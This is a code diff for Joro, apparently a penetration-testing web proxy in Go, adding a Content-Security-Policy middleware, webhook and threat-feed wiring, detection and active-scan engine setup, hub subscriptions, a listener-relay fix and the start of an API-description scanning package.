mux.HandleFunc("DELETE /api/v1/automation/triggers/{id}", s.handleDeleteTrigger)
mux.HandleFunc("GET /api/v1/automation/sdk", s.handleScriptSDK)
mux.HandleFunc("GET /api/v1/automation/limits", s.handleGetScriptBudget)
mux.HandleFunc("PUT /api/v1/automation/limits", s.handleSetScriptBudget)
}
// Webhooks. Registered unconditionally with every handler gated on requireWebhooks,
// for the same reason the automation block is: an unregistered route falls through to
// the SPA catch-all and answers 200 with HTML rather than 404 with JSON.
//
// Outside that block because a webhook is not part of the automation surface. It needs
// none of the three automation flags, and an operator who wants a finding in their team
// channel should not have to arm an agent to get one.
mux.HandleFunc("GET /api/v1/webhooks", s.handleListWebhooks)
mux.HandleFunc("POST /api/v1/webhooks", s.handleCreateWebhook)
mux.HandleFunc("GET /api/v1/webhooks/{id}", s.handleGetWebhook)
mux.HandleFunc("PUT /api/v1/webhooks/{id}", s.handleUpdateWebhook)
mux.HandleFunc("DELETE /api/v1/webhooks/{id}", s.handleDeleteWebhook)
mux.HandleFunc("PUT /api/v1/webhooks/{id}/enabled", s.handleSetWebhookEnabled)
mux.HandleFunc("POST /api/v1/webhooks/{id}/test", s.handleTestWebhook)
mux.HandleFunc("GET /api/v1/webhooks/{id}/deliveries", s.handleListWebhookDeliveries)
// Threat-intel feeds. Registered unconditionally and gated on requireFeeds, for the same
// SPA-catch-all reason as the block above. UI-only, proxy-mode only (nil in listener mode).
mux.HandleFunc("GET /api/v1/feeds", s.handleGetFeeds)
mux.HandleFunc("POST /api/v1/feeds/refresh", s.handleRefreshFeeds)
mux.HandleFunc("GET /api/v1/feeds/settings", s.handleGetFeedsSettings)
mux.HandleFunc("PUT /api/v1/feeds/settings", s.handleSetFeedsSettings)
// Plugin routes (dynamic, based on loaded plugins).
registerPluginRoutes(s, mux)
}
+91
View File
@@ -0,0 +1,91 @@
package api
import (
"net/http"
"strings"
)
// The Content-Security-Policy Joro serves its own UI under.
//
// # Why it matters more than it looks
//
// Everything on this origin is fully privileged. Any script running here can call the whole
// API same-origin — which includes installing an automation and arming it, and therefore,
// on an instance started with --automation-commands, running a program on the operator's
// machine. It does not need a package to already be armed; it can install its own. So a
// single injection anywhere on this origin is not "an XSS in a local tool", it is local code
// execution, and this header is the layer that stops one from getting that far.
//
// It also covers a case that is easy to miss. The response viewer renders captured HTML into
// a blob: URL and frames it with sandbox="allow-same-origin" and no allow-scripts, which is
// what keeps that markup inert. But a blob: URL is a real navigable URL on this origin, so
// opening the frame on its own — a browser's "open frame in new tab" — leaves the sandbox
// behind. A blob: document inherits the creating document's policy, so script-src here
// follows the captured bytes out of the frame and keeps them inert there too.
//
// # Why each directive is what it is
//
// script-src 'self' with no 'unsafe-inline': the built index.html carries no inline script,
// only a module tag pointing at a hashed asset, so nothing legitimate needs it.
//
// style-src keeps 'unsafe-inline' because React writes styles as inline attributes in
// places. Inline style is not an execution primitive, and buying its removal would mean
// rewriting component styling for no security gain.
//
// img-src allows data: for the XSS Hunter screenshots, which arrive as data:image URLs, and
// blob: for images the response viewer renders. Notably it does *not* allow arbitrary
// remote hosts, so a hostile value that named one would not be fetched — no beacon telling
// an attacker when the operator opened their finding.
//
// frame-src allows blob: for the response viewer and 'self' for plugin UIs. frame-ancestors
// is 'self' rather than 'none' precisely because Joro frames its own plugin pages.
//
// connect-src names ws: and wss: explicitly rather than trusting 'self' to cover the
// WebSocket upgrade across browsers.
const contentSecurityPolicy = "default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: blob:; " +
"font-src 'self'; " +
"connect-src 'self' ws: wss:; " +
"frame-src 'self' blob:; " +
"frame-ancestors 'self'; " +
"object-src 'none'; " +
"base-uri 'none'; " +
"form-action 'self'"
// pluginPathPrefix is the mount point for plugin UI assets; see securityHeaders.
const pluginPathPrefix = "/plugin/"
// securityHeaders adds the UI's own policy to every response it serves.
//
// # The two exemptions, both deliberate
//
// **Plugin UIs are exempt.** A plugin's pages are served from /plugin/<name>/ and are
// written by whoever wrote the plugin, and inline <script> is the ordinary way to write a
// small one — every example plugin does it. A strict script-src would break all of them.
// That concedes nothing that was ever held: a plugin is native Go code already running
// inside this process, so it is trusted before its UI is ever loaded, which is the same
// reason those iframes carry allow-same-origin. Removing this exemption looks like
// hardening and breaks every plugin UI with errors that point nowhere near the cause.
//
// The consequence worth stating: a plugin UI that renders captured bytes as HTML is a
// Joro-origin XSS, and no policy here will catch it. That is a rule for plugin authors,
// not something this middleware can enforce.
//
// **Dev mode is exempt.** With --dev the UI is proxied from Vite, whose hot reloading needs
// inline script and eval. Gating on the flag keeps the shipped posture strict without
// making the development one unusable.
func securityHeaders(devMode bool, next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Applies to every response either way: these cost nothing and want no exemption.
h := w.Header()
h.Set("X-Content-Type-Options", "nosniff")
h.Set("Referrer-Policy", "no-referrer")
if !devMode && !strings.HasPrefix(r.URL.Path, pluginPathPrefix) {
h.Set("Content-Security-Policy", contentSecurityPolicy)
}
next.ServeHTTP(w, r)
})
}
+248 -23
View File
@@ -15,39 +15,65 @@ import (
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/cmdi"
"github.com/BishopFox/joro/internal/activescan/domxss"
"github.com/BishopFox/joro/internal/activescan/openredirect"
"github.com/BishopFox/joro/internal/activescan/pathtraversal"
"github.com/BishopFox/joro/internal/activescan/reflectedxss"
"github.com/BishopFox/joro/internal/activescan/sqli"
"github.com/BishopFox/joro/internal/activescan/ssti"
"github.com/BishopFox/joro/internal/activescan/templatesig"
"github.com/BishopFox/joro/internal/anomaly"
"github.com/BishopFox/joro/internal/apiscan"
"github.com/BishopFox/joro/internal/automation"
"github.com/BishopFox/joro/internal/callback"
"github.com/BishopFox/joro/internal/capability"
"github.com/BishopFox/joro/internal/cert"
"github.com/BishopFox/joro/internal/chain"
"github.com/BishopFox/joro/internal/chainrun"
"github.com/BishopFox/joro/internal/config"
"github.com/BishopFox/joro/internal/configstore"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/plugins"
"github.com/BishopFox/joro/internal/feeds"
"github.com/BishopFox/joro/internal/fuzzer"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/mcp"
"github.com/BishopFox/joro/internal/mythic"
"github.com/BishopFox/joro/internal/notes"
"github.com/BishopFox/joro/internal/oast"
"github.com/BishopFox/joro/internal/plugins"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/sliver"
"github.com/BishopFox/joro/internal/team"
"github.com/BishopFox/joro/internal/techfp"
"github.com/BishopFox/joro/internal/trigger"
"github.com/BishopFox/joro/internal/update"
"github.com/BishopFox/joro/internal/webhook"
"github.com/BishopFox/joro/internal/xsshunter"
joroweb "github.com/BishopFox/joro/web"
)
// Settings holds runtime-adjustable configuration exposed via the API.
type Settings struct {
ProxyPort int `json:"proxyPort"`
UIPort int `json:"uiPort"`
InterceptEnabled bool `json:"interceptEnabled"`
InterceptTimeout int `json:"interceptTimeout"` // seconds
ListenerURL string `json:"listenerUrl"`
ProjectID string `json:"projectId"`
TeamStatus string `json:"teamStatus"`
ShareProjectID bool `json:"shareProjectId"`
HTTP2Enabled bool `json:"http2Enabled"`
KeepAliveEnabled bool `json:"keepAliveEnabled"`
SOCKSHost string `json:"socksHost"`
SOCKSPort int `json:"socksPort"`
SOCKSUsername string `json:"socksUsername"`
SOCKSPassword string `json:"socksPassword"`
SOCKSDNS bool `json:"socksDns"`
ProxyPort int `json:"proxyPort"`
UIPort int `json:"uiPort"`
InterceptEnabled bool `json:"interceptEnabled"`
InterceptResponses bool `json:"interceptResponses"`
InterceptTimeout int `json:"interceptTimeout"` // seconds
ListenerURL string `json:"listenerUrl"`
TeamStatus string `json:"teamStatus"`
ShareProjectName bool `json:"shareProjectName"`
HTTP2Enabled bool `json:"http2Enabled"`
KeepAliveEnabled bool `json:"keepAliveEnabled"`
SOCKSHost string `json:"socksHost"`
SOCKSPort int `json:"socksPort"`
SOCKSUsername string `json:"socksUsername"`
SOCKSPassword string `json:"socksPassword"`
SOCKSDNS bool `json:"socksDns"`
TeamToken string `json:"teamToken"`
TeamNickname string `json:"teamNickname"`
MaxRequests int `json:"maxRequests"`
@@ -74,13 +100,14 @@ type APIServer struct {
ca *cert.CA
hub *Hub
transport *proxy.TransportConfig
wsStore *proxy.WSStore
wsManipulate *proxy.ManipulateWSManager
cbStore *callback.Store
xssStore *xsshunter.Store
noteStore *notes.Store
transport *proxy.TransportConfig
wsStore *proxy.WSStore
wsManipulate *proxy.ManipulateWSManager
cbStore *callback.Store
xssStore *xsshunter.Store
noteStore *notes.Store
sliverClient *sliver.Client
mythicClient *mythic.Client
listenerMode bool
teamServerMode bool
teamStore *team.Store
@@ -89,9 +116,114 @@ type APIServer struct {
fuzzerStore *fuzzer.Store
pluginManager *plugins.Manager
// SJ: parsed API description documents and the runs driven from them. Both
// are session state and neither reaches the project file — a document is
// re-fetchable from History because the fetch went through the proxy, and an
// auth profile holds a credential, which is why webhooks.json's secrets are
// kept out of a project file too. See handlers_spec.go.
specStore *apiscan.SpecStore
specRuns *apiscan.Store
// Workflow chains and their sweeps. Unlike the two above, chains ARE project
// data: a chain describes one application's checkout and is useful to a
// teammate who opens the same project, and nothing installed references one,
// so trigger/store.go's machine-global rule does not apply. Runs are session
// state and are cleared on a project switch.
chainStore *chain.Store
chainRuns *chainrun.Store
// Active scanning: operator-initiated rules that drive a target and file
// findings into the shared detect store. Both are nil in listener/team mode
// (the routes are proxy-mode only); runs are session state cleared on a
// project switch, and the registry is the rule set the host offers.
activeScans *activescan.Store
activeScanRules *activescan.Registry
// Passive detection. All three are nil in listener and team-server mode; the
// detect routes are gated on proxy mode in registerRoutes, so only the shared
// config paths need nil guards.
detectEngine *detect.Engine
detectFindings *detect.Store
detectScanner *detect.Scanner
anomalyEngine *anomaly.Engine
// Reflection mapping (the Echo tab). The map is session state and is
// rebuilt by a rescan, for the reason SJ's stores are: it is derived from
// history and holds no triage of its own. Only its config travels with the
// project, and only a breakout reaches detectFindings. See internal/echo.
echoEngine *echo.Engine
echoStore *echo.Store
// Passive technology fingerprinting (the embedded Wappalyzer database). Nil
// outside proxy mode. The active-scan signature rule reads its store to run
// only the checks a host's stack warrants. See internal/techfp.
techEngine *techfp.Engine
// Out-of-band confirmation: correlates the callback server's response hash
// back into captured traffic and mints confirmed CategoryOOB findings. Nil
// outside proxy mode. See internal/oast.
oastEngine *oast.Engine
// detectCtx is the server-lifetime context, so a rescan job can outlive the
// HTTP request that started it. Guarded by mu.
detectCtx context.Context
listenerRelay *ListenerRelay
configStore *configstore.Store
// Automation: the capability registry, the bearer tokens that grant subsets of
// it, and the MCP listener that is its first consumer. All three are nil when
// automation is disabled, which leaves the routes unregistered and no second
// port bound. See SetAutomation.
capRegistry *capability.Registry
capAudit *capability.AuditLog
autoStore *automation.Store
capContexts *httptools.Contexts
mcpListener *mcp.Listener
// scriptManager runs installed automations: sandboxed JavaScript against the
// registry, and local commands. Nil unless at least one of --automation-scripting
// and --automation-commands was given.
//
// Non-nil is therefore no longer the same question as "is scripting on", which it
// was when this held one kind. Use scriptingEnabled and commandsEnabled — the two
// flags are separate axes and each gates a different half.
scriptManager *jsautomation.Manager
// scriptRuntimeReady records that a worker runtime could be built, which needs
// os.Executable to work. False disables scripting outright rather than leaving
// script.run registered and failing on every call.
scriptRuntimeReady bool
// automationStorage is joro.storage: per-automation key/value state that rides in
// the project config like plugin state, because it describes one engagement.
automationStorage *jsautomation.Storage
// scriptTriggers watches Joro's events and runs armed automations. Nil unless the
// manager exists; handlers ring its doorbell after a change so an enable takes
// effect immediately rather than on the next 250ms tick.
scriptTriggers *jsautomation.Dispatcher
// triggers holds the operator's custom triggers, which automations reference by id.
// Global rather than per-project, because the automations referencing them are: a
// per-project store would resolve on one engagement and dangle on the next. Nil when
// the file could not be read, which disables the feature loudly rather than presenting
// an empty set — see requireTriggers.
triggers *trigger.Store
automationMu sync.Mutex // serializes MCP start/stop from HTTP handlers
// The webhook feature. Independent of automation: an operator wanting a finding in
// their team channel should not have to arm an agent to get one, so these are built in
// New rather than in SetAutomation and are nil only under --no-webhooks or when
// webhooks.json could not be read. See webhook_wire.go.
webhooks *webhook.Store
webhookDeliver *webhook.Deliverer
webhookDispatch *webhook.Dispatcher
// Threat-intelligence feeds. Independent of automation and of webhooks: a curated,
// read-only aggregator (NVD / CISA KEV / advisory headlines) the dashboard renders.
// Both nil under --no-feeds, in listener mode, or when feeds.json could not be read.
// feedsCtx is the server-lifetime context so a refresh kicked from a handler outlives
// the request; set once in startFeedsLoop before serving. See feeds_wire.go.
feeds *feeds.Aggregator
feedsStore *feeds.SettingsStore
feedsCtx context.Context
buildInfo BuildInfo
cancelFunc context.CancelFunc
restart bool
@@ -100,10 +232,22 @@ type APIServer struct {
highlights map[string]string // requestID → highlight color name
// projectFileMu serializes every mutation of a project's on-disk files: the
// .joro written by saveProject, its .meta.json sidecar, and the delete that
// removes both. Without it an auto-save tick that has already passed its
// active-project check can SaveGzip the file a concurrent delete just
// unlinked, resurrecting a deleted project as a .joro with no sidecar.
// Lock order is projectFileMu then mu, never the reverse.
projectFileMu sync.Mutex
mu sync.RWMutex
settings Settings
activeUserConfig string
activeProjectConfig string
// oastDomain is the callback domain the OAST confirmer harvests tokens under,
// seeded from --domain and best-effort refreshed from the listener. Guarded by mu.
oastDomain string
lastSaveSig string // fingerprint of live state at last save (auto-save skip)
// pendingUserPluginStates / pendingProjectPluginStates preserve plugin
// state blobs across a load -> save round-trip even when the owning
@@ -112,6 +256,9 @@ type APIServer struct {
// so unknown-to-us plugins' data is never dropped.
pendingUserPluginStates map[string][]byte
pendingProjectPluginStates map[string][]byte
// pendingProjectAutomationStates does the same for joro.storage blobs belonging to
// automations not installed here.
pendingProjectAutomationStates map[string][]byte
srv *http.Server
}
@@ -145,7 +292,15 @@ func New(
sc.SetOnEvent(func(ev sliver.SliverEvent) {
hub.Broadcast() <- event.WSEvent{Type: "sliver.event", Data: ev}
})
return &APIServer{
mc := &mythic.Client{}
mc.SetOnEvent(func(ev mythic.MythicEvent) {
hub.Broadcast() <- event.WSEvent{Type: "mythic.event", Data: ev}
})
// Detection is constructed here rather than injected from main.go; the proxy
// holds no reference to it, since the scanner pulls from the capture store.
detectEngine := detect.NewEngine()
detectFindings := detect.NewStore(0)
s := &APIServer{
cfg: cfg,
store: store,
intercept: intercept,
@@ -160,8 +315,20 @@ func New(
hub: hub,
noteStore: noteStore,
sliverClient: sc,
mythicClient: mc,
fuzzerStore: fuzzer.NewStore(),
specStore: apiscan.NewSpecStore(),
specRuns: apiscan.NewStore(),
chainStore: chain.NewStore(),
chainRuns: chainrun.NewStore(),
activeScans: activescan.NewStore(),
pluginManager: pluginManager,
detectEngine: detectEngine,
detectFindings: detectFindings,
detectScanner: detect.NewScanner(
detectEngine, detectFindings, store, scope, hub.Broadcast()),
listenerRelay: NewListenerRelay(hub),
configStore: configstore.NewStore(cfg.DataDir),
buildInfo: buildInfo,
@@ -172,6 +339,7 @@ func New(
ProxyPort: cfg.ProxyPort,
UIPort: cfg.UIPort,
InterceptEnabled: false,
InterceptResponses: false,
InterceptTimeout: 60,
HTTP2Enabled: true,
KeepAliveEnabled: false,
@@ -179,6 +347,50 @@ func New(
DisableUpdateChecks: cfg.DisableUpdateChecks,
},
}
// Anomaly analysis writes into the same findings store as detect, but computes
// per-host baselines the detect engine's stateless scan path cannot. Built here
// so it can read the live detect config every cycle and push the shared summary.
s.anomalyEngine = anomaly.NewEngine(
store, scope, detectFindings,
detectEngine.Config, hub.Broadcast(), s.broadcastDetectSummary)
// Reflection mapping writes into the same findings store, and for the same
// reason is built here: it needs the shared summary push.
s.echoStore = echo.NewStore(0)
s.echoEngine = echo.NewEngine(
s.echoStore, store, scope, detectFindings,
hub.Broadcast(), s.broadcastDetectSummary)
// Passive technology fingerprinting over the same capture store. Built here so
// it rides the one cursor-reset path (resetDetectCursor) the other passive
// analyzers use.
s.techEngine = techfp.NewEngine(techfp.NewStore(), store, hub.Broadcast())
// Out-of-band confirmer. Writes into the same findings store; built here so it
// rides the one cursor-reset path and pushes the shared summary. The token DB
// lives in the listener process, so it harvests expected hashes from captured
// callback hostnames under oastDomain (from --domain or refreshed later).
s.oastDomain = cfg.CallbackDomain
s.oastEngine = oast.NewEngine(
store, detectFindings, s.callbackDomainForOAST,
hub.Broadcast(), s.broadcastDetectSummary)
// Active-scan rule set. The registry is built here (not a package global, per
// the no-globals rule) so the api layer can import both activescan and its
// rules without an import cycle.
s.activeScanRules = activescan.NewRegistry()
s.activeScanRules.Register(domxss.New())
s.activeScanRules.Register(templatesig.New())
// Injection-fuzzing rules (parameter mutation + differential/timing/OAST).
s.activeScanRules.Register(reflectedxss.New())
s.activeScanRules.Register(sqli.New())
s.activeScanRules.Register(ssti.New())
s.activeScanRules.Register(cmdi.New())
s.activeScanRules.Register(openredirect.New())
s.activeScanRules.Register(pathtraversal.New())
// Both stores are built here rather than in SetAutomation, because both outlive
// automation: a webhook references a trigger, and neither needs an agent to be useful.
// See initTriggers for why the trigger store moved out of newScriptManager.
s.initTriggers()
s.initWebhooks()
s.initFeeds()
return s
}
// RestartRequested returns true if the server was shut down for a restart (e.g. after update).
@@ -283,6 +495,15 @@ func (s *APIServer) Start(ctx context.Context) error {
// Start periodic update checker (proxy mode only).
if !s.listenerMode {
s.startUpdateChecker(ctx)
// Bring up the persisted MCP listener state and the token flush loop.
// No-ops entirely when automation was not configured.
s.startAutomation(ctx)
// No-ops entirely under --no-webhooks. Started after automation so the run
// watcher startScriptTriggers registers is already in place.
s.startWebhooks(ctx)
// No-ops entirely under --no-feeds. Fetches nothing until the operator enables
// feeds in Settings or on the Dashboard.
s.startFeedsLoop(ctx)
}
// Serve frontend (skip in listener mode - listener is API-only).
@@ -309,6 +530,10 @@ func (s *APIServer) Start(ctx context.Context) error {
// Proxy mode: restrict the API to same-origin browser requests.
handler = originGuard(uiBind, s.cfg.AllowedHosts, handler)
}
// Outermost, and in both modes: this origin can reach the whole API, so a single
// injection on it is not a cosmetic bug. Applied outside the auth middleware so a
// rejected request carries the policy too — a 403 body is still a document.
handler = securityHeaders(s.cfg.Dev, handler)
s.srv = &http.Server{
Addr: fmt.Sprintf("%s:%d", uiBind, s.cfg.UIPort),
+132
View File
@@ -0,0 +1,132 @@
package api
import (
"context"
"log"
"net/http"
"github.com/BishopFox/joro/internal/capreg"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/trigger"
"github.com/BishopFox/joro/internal/webhook"
)
// Bringing the webhook feature up.
//
// It is deliberately not part of SetAutomation. Automation is an agent surface behind three
// launch flags; a webhook is the operator telling their own team channel that something
// happened, and needing to arm an agent to get one would be a strange price. So the store and
// the dispatcher are built in New, and the only switch is --no-webhooks.
// initTriggers opens the custom trigger store.
//
// It lives here rather than in newScriptManager because two features now reference it, and the
// one that is always available must not depend on the one behind flags. Without this a webhook
// could name only the built-in events on a Joro started without --automation-scripting, and
// the trigger editor would 404.
//
// A file that will not parse disables custom triggers and says so, rather than presenting an
// empty set. The difference matters for both consumers: an empty store would leave every
// automation and every webhook referencing a custom trigger with nothing to resolve, and the
// operator would see them stop firing with no explanation.
func (s *APIServer) initTriggers() {
if s.listenerMode {
return
}
store, err := trigger.NewStore(s.cfg.DataDir)
if err != nil {
log.Printf("[automation] custom triggers are unavailable: %v", err)
return
}
s.triggers = store
}
// initWebhooks opens the webhook store and builds the dispatcher and deliverer.
//
// A failure is non-fatal and disables the feature rather than the proxy, the same way an
// unreadable automation.json does: an operator should still be able to test. It is logged
// loudly, because a silently absent store would look like their webhooks had been deleted.
func (s *APIServer) initWebhooks() {
if s.listenerMode || s.cfg.NoWebhooks {
return
}
store, err := webhook.NewStore(s.cfg.DataDir, s.triggers)
if err != nil {
log.Printf("[webhook] webhooks are disabled this run: %v", err)
return
}
s.webhooks = store
s.webhookDeliver = webhook.NewDeliverer(store, s.webhookClient,
s.buildInfo.Version, s.hub.Broadcast())
s.webhookDispatch = webhook.NewDispatcher(store, s.webhookDeliver)
}
// webhookClient builds the client one delivery uses.
//
// NewOutboundHTTPClient rather than NewHTTPClient: a webhook endpoint is the operator's own
// infrastructure, frequently one whose URL is itself the credential, so its certificate is
// verified. NewHTTPClient's permissive TLS is for targets Joro is already MITM-ing. Both
// configs are built inside internal/proxy, which is the rule that keeps them readable side by
// side.
func (s *APIServer) webhookClient(insecure bool) http.Client {
return proxy.NewOutboundHTTPClient(s.transport, insecure)
}
// startWebhooks runs the dispatcher and the delivery pump for the life of the server.
//
// The hub subscription is made here for the same reason startScriptTriggers makes its own:
// internal/webhook cannot import this package, so the wiring belongs on this side. It is a
// second subscriber, which Hub.Subscribe already supports — each gets its own channel and its
// own non-blocking send.
func (s *APIServer) startWebhooks(ctx context.Context) {
if s.webhookDispatch == nil {
return
}
go s.webhookDispatch.Run(ctx, s.hub.Subscribe(0))
go s.webhookDeliver.Run(ctx)
}
// watchAutomationRuns points the webhook dispatcher at finished automation runs.
//
// automation.completed is the one event in the trigger catalog that never reaches the bus — a
// per-run broadcast would be a firehose an agent controls — so a consumer has to be registered
// with the manager instead. Called from startScriptTriggers, after the trigger dispatcher has
// registered itself; Manager.WatchRuns appends, so both are told.
func (s *APIServer) watchAutomationRuns() {
if s.webhookDispatch == nil || s.scriptManager == nil {
return
}
s.scriptManager.WatchRuns(&webhookRunWatcher{d: s.webhookDispatch})
}
// webhookRunWatcher hands a finished run to the webhook dispatcher.
//
// It projects through jsautomation.RunRef rather than building its own map, so both watchers
// of this event see byte-identical fields. A second hand-written projection is exactly how a
// condition comes to fire for an automation and not for a webhook watching the same trigger —
// which is the class of bug trigger.Project exists to have one answer to.
type webhookRunWatcher struct{ d *webhook.Dispatcher }
func (w *webhookRunWatcher) RunCompleted(automationID string, run *jsautomation.Run) {
if run == nil || automationID == "" {
return
}
ref := jsautomation.RunRef(automationID, run)
if ref == nil {
return
}
w.d.Observe(event.WSEvent{Type: trigger.EventAutomationComplete, Data: ref})
}
// webhookFirer returns the deliverer as the interface capreg expects, or a nil interface when
// webhooks are off. Returning the typed nil pointer directly would give capreg a non-nil
// interface holding nil, and the handler's own nil check would not catch it — the same trap
// scriptRunnerDep avoids.
func (s *APIServer) webhookFirer() capreg.WebhookFirer {
if s.webhookDeliver == nil {
return nil
}
return s.webhookDeliver
}
+41 -8
View File
@@ -45,15 +45,15 @@ type OnConnectFunc func(nickname, ip string)
// presenceInfo holds a user's opt-in presence metadata, keyed by nickname.
type presenceInfo struct {
Status string // online | away | dnd | offline
ProjectID string // "" unless the operator shares it
Status string // online | away | dnd | offline
Project string // active project name, "" unless the operator shares it
}
// presenceUser is a single entry in a team.presence broadcast.
type presenceUser struct {
Nickname string `json:"nickname"`
Status string `json:"status"`
ProjectID string `json:"projectId"`
Nickname string `json:"nickname"`
Status string `json:"status"`
Project string `json:"project"`
}
// relayStateData is the last-known team relay connection state. It is pushed to
@@ -73,6 +73,9 @@ type Hub struct {
onConnect OnConnectFunc
onDisconnect OnConnectFunc
relayState *relayStateData // last-known team relay state (nil until first set)
// subscribers are in-process consumers of the same event stream, for code that
// needs to react to what the UI is being told. Guarded by mu; see Subscribe.
subscribers []chan any
}
// NewHub creates a Hub. Call Run() in a goroutine before accepting connections.
@@ -94,6 +97,29 @@ func (h *Hub) SetOnDisconnect(fn OnConnectFunc) {
h.onDisconnect = fn
}
// Subscribe returns a channel carrying every broadcast event, for an in-process consumer
// such as the automation trigger dispatcher.
//
// Deliveries are non-blocking and are dropped when the subscriber is behind, which is not
// a corner worth softening: several producers send to the broadcast channel *blocking* —
// every fuzzer result, every callback interaction, the team relay — so a subscriber that
// could stall Run would stall every WebSocket client and back-pressure the proxy behind
// them. A consumer that cannot afford a loss must treat its events as a hint and read the
// authoritative state itself, the way the trigger dispatcher uses a store cursor.
//
// Subscriptions are permanent, which is fine because the only subscriber is created once
// at startup and lives as long as the process.
func (h *Hub) Subscribe(buf int) <-chan any {
if buf <= 0 {
buf = 256
}
ch := make(chan any, buf)
h.mu.Lock()
h.subscribers = append(h.subscribers, ch)
h.mu.Unlock()
return ch
}
// Run reads from the broadcast channel and fans out to all connected clients.
// It blocks until the channel is closed.
func (h *Hub) Run() {
@@ -115,6 +141,13 @@ func (h *Hub) Run() {
conn.Close()
}
}
// In-process subscribers get the event, not the JSON: they type-switch on it.
for _, sub := range h.subscribers {
select {
case sub <- msg:
default:
}
}
h.mu.RUnlock()
}
}
@@ -180,18 +213,18 @@ func (h *Hub) ActiveUsersDetailed() []presenceUser {
if status == "offline" {
continue // appear offline: hidden from the roster
}
users = append(users, presenceUser{Nickname: nick, Status: status, ProjectID: meta.ProjectID})
users = append(users, presenceUser{Nickname: nick, Status: status, Project: meta.Project})
}
return users
}
// SetPresenceMeta updates a user's presence metadata and rebroadcasts presence.
func (h *Hub) SetPresenceMeta(nickname, status, projectID string) {
func (h *Hub) SetPresenceMeta(nickname, status, project string) {
if nickname == "" {
return
}
h.mu.Lock()
h.presenceMeta[nickname] = presenceInfo{Status: status, ProjectID: projectID}
h.presenceMeta[nickname] = presenceInfo{Status: status, Project: project}
h.mu.Unlock()
h.broadcastPresence()
}
+26 -1
View File
@@ -20,6 +20,7 @@ type ListenerRelay struct {
token string
nickname string
stop chan struct{}
conn *websocket.Conn // active connection; closed by Update to force server-side deregister
}
// NewListenerRelay creates a relay. Call Update() to start connecting.
@@ -40,11 +41,17 @@ func (lr *ListenerRelay) Update(listenerURL, token, nickname string) {
lr.mu.Lock()
defer lr.mu.Unlock()
// Stop existing connection.
// Close the live conn, not just the stop channel: run() blocks in
// conn.ReadMessage and won't see a closed stop channel until the socket errors,
// leaving the old nickname registered and 409-ing the next reconnect.
if lr.stop != nil {
close(lr.stop)
lr.stop = nil
}
if lr.conn != nil {
lr.conn.Close()
lr.conn = nil
}
if listenerURL == "" || token == "" {
if lr.hub != nil {
@@ -118,10 +125,28 @@ func (lr *ListenerRelay) run(stop chan struct{}, listenerURL, token, nickname st
continue
}
// Publish the live conn so Update can close it. If already stopped between
// the dial and here, close and exit rather than registering a stale conn.
lr.mu.Lock()
select {
case <-stop:
lr.mu.Unlock()
conn.Close()
return
default:
lr.conn = conn
lr.mu.Unlock()
}
backoff = time.Second
lr.setRelayState(stop, "connected", "", 0)
lr.readLoop(conn, stop)
conn.Close()
lr.mu.Lock()
if lr.conn == conn {
lr.conn = nil
}
lr.mu.Unlock()
lr.setRelayState(stop, "disconnected", "connection closed", 0)
}
}
+414
View File
@@ -0,0 +1,414 @@
// Package apiscan drives requests built from an API description document.
//
// It is separate from internal/apispec on purpose. apispec is a leaf: it parses
// and projects, imports nothing from the rest of Joro, and cannot send. This
// package is where the worker pool, the rate limiter, the budget, the claim set
// and the event shapes live — none of which belong in a package whose reason to
// exist is that a parser for another description language can be a sibling file
// returning the same *apispec.Spec. Passing a send callback into apispec would
// satisfy the import rule while breaking that one. internal/fuzzer and
// internal/detect are split the same way.
//
// # One runner, not two
//
// A scan is an auth matrix with a single profile. The work item is a pair of one
// operation and one profile; a scan enqueues len(ops), a matrix enqueues
// len(ops) x len(profiles), and the execution is identical. Only the view
// differs. Two runners would duplicate the pool, the limiter, the claim set and
// the results shape, would drift, and would leave two places for the destructive
// gate to be forgotten.
//
// # Everything goes through Joro's own proxy
//
// Sends use httptools.SendViaProxy, so every request is captured into History,
// scanned by the detect engine, entered into the site map, filtered by scope and
// rewritten by Match & Replace and Custom Data. Scanning an API's whole surface
// is therefore the act that populates the rest of the tool, which is the reason
// this feature is worth having inside Joro rather than beside it. The costs come
// with it: HTTP/1.1 only, an armed request intercept pauses every send in the
// operator's queue, and a large sweep occupies rows in a capture ring buffer.
package apiscan
import (
"context"
"sync"
"time"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/httptools"
)
// Kind is what a run does.
type Kind string
const (
KindScan Kind = "scan"
KindMatrix Kind = "matrix"
KindDiscovery Kind = "discovery"
)
// Status is a run's lifecycle state.
type Status string
const (
StatusRunning Status = "running"
StatusComplete Status = "complete"
StatusStopped Status = "stopped"
)
// Caps. Sized against the fuzzer, the way httptools' batch caps are: past a few
// thousand rows the right answer is "drive the fuzzer", and the refusal says so.
const (
MaxRequestsPerRun = 2000
MaxProfiles = 8
MaxRuns = 20
MaxSpecs = 8
DefaultConcurrency = 4
MaxConcurrency = 20
MaxRatePerSec = 50
DefaultTimeoutMs = 10000
MaxTimeoutMs = 60000
DefaultBudgetMs = 600000
MaxBudgetMs = 1800000
// Discovery runs hotter than a scan: the candidates are unauthenticated GETs
// against one host, and a scan's default of 4 would make a full sweep crawl.
DefaultDiscoveryConcurrency = 10
MaxDiscoveryFollows = 50
MaxFollowDepth = 3
// ChallengeLimit stops a sweep once a WAF is clearly answering. Continuing
// spends thousands of requests to learn nothing, and looks exactly like the
// attack the WAF is there to stop.
ChallengeLimit = 20
)
// Profile is one authentication state a run tests under.
type Profile struct {
ID string `json:"id"`
Label string `json:"label"`
// Rank orders profiles by privilege, 0 being anonymous. It is what makes a
// matrix verdict a statement rather than a comparison of two arbitrary
// credential sets: "a lower rank reached what only a higher rank should"
// needs an ordering to mean anything.
Rank int `json:"rank"`
// Auth never leaves the process. A run result names the profile; it never
// carries what satisfied it.
Auth apispec.Auth `json:"-"`
}
